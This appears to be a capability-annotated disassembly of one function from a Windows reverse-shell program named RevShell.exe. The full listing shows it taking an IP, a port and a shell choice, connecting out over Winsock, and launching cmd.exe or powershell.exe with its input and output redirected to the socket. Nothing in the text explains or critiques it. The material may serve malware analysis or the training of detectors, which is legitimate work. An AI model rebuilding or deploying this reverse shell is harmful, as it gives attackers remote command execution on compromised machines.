Function at 0x140001070
Capabilities:
Connect socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x480
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
xor r15d, r15d
lea eax, [rcx - 3]
mov rsi, rdx
mov r14d, ecx
mov edi, r15d
cmp eax, 1
ja 0x14000136a
mov rdx, qword [rdx + 8]
mov qword [r11 + 8], rbx
mov rbx, 0xffffffffffffffff
mov qword [r11 + 0x18], rbp
inc rbx
cmp byte [rdx + rbx], dil
jne 0x1400010c0
movsxd rbp, ebx
lea rcx, [rsp + 0x60]
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
cmp ebx, 0x10
jge 0x1400010e9
cmp rbp, 0x10
jae 0x140001126
mov byte [rsp + rbp + 0x60], dil
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ebp, 1
mov ebx, eax
cmp r14d, 4
jne 0x140001140
mov r8, qword [rsi + 0x18]
lea rax, [0x1400032f0]
mov rcx, r15
nop
movzx edx, byte [r8 + rcx]
inc rcx
cmp dl, byte [rax + rcx - 1]
jne 0x14000112c
cmp rcx, 4
jne 0x140001110
jmp 0x140001140
call fcn.1400014b8
int3
lea rdx, str.powershell
mov rcx, r8
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
cmove edi, ebp
mov edx, edi
lea rcx, str.___SELECTED_SHELL:__t_d_n
call fcn.140001010
mov rdx, qword [rsi + 8]
lea r8, [rsp + 0x54]
mov esi, 2
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x14000117b
lea rdx, [rsp + 0x60]
lea rcx, str.___VALID_IP_ADDRESS:__t_s_n
call fcn.140001010
jmp 0x140001187
lea rcx, str.____INVALID_IP_ADDRESS_n
call fcn.140001010
lea eax, [rbx - 1]
cmp eax, 0xfffe
ja 0x1400011a1
mov edx, ebx
lea rcx, str.___VALID_IP_PORT:__t_d_n
call fcn.140001010
jmp 0x1400011ad
lea rcx, str.____INVALID_PORT_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [0x140005660]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
mov edx, ebp
mov dword [rsp + 0x20], r15d
mov ecx, esi
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea r8, [0x14000587c]
mov word [0x140005878], si
lea rdx, [rsp + 0x60]
mov qword [0x140005888], rax
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
movzx ecx, bx
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x140005888]
lea rdx, [0x140005878]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov word [0x14000587a], ax
mov qword [rsp + 0x20], r15
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140005888]
lea rcx, [rsp + 0x280]
xorps xmm0, xmm0
mov qword [0x140005870], rax
movups xmmword [0x140005860], xmm0
xor edx, edx
mov r8d, 0x1f0
movups xmmword [0x140005810], xmm0
mov dword [0x140005810], 0x68
movups xmmword [0x140005840], xmm0
mov dword [0x14000584c], 0x101
movups xmmword [0x140005820], xmm0
mov qword [0x140005868], rax
movups xmmword [0x140005830], xmm0
mov qword [0x140005860], rax
movups xmmword [0x140005850], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x270], xmm0
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.powershell.exe]
mov eax, dword [0x1400033b8]
lea rcx, [rsp + 0x8e]
mov dword [rsp + 0x88], eax
xor edx, edx
movzx eax, word [0x1400033bc]
mov r8d, 0x1e2
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1400033b0]
movsd qword [rsp + 0x80], xmm0
mov word [rsp + 0x8c], ax
call sub.VCRUNTIME140.dll_memset
test edi, edi
je 0x14000131a
cmp edi, ebp
jne 0x14000135b
lea rdx, [rsp + 0x70]
jmp 0x140001322
lea rdx, [rsp + 0x270]
lea rax, [0x1400057f8]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [0x140005810]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Usage:_n_tRevShell.exe_IP_PORT__cmdpowershell__n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3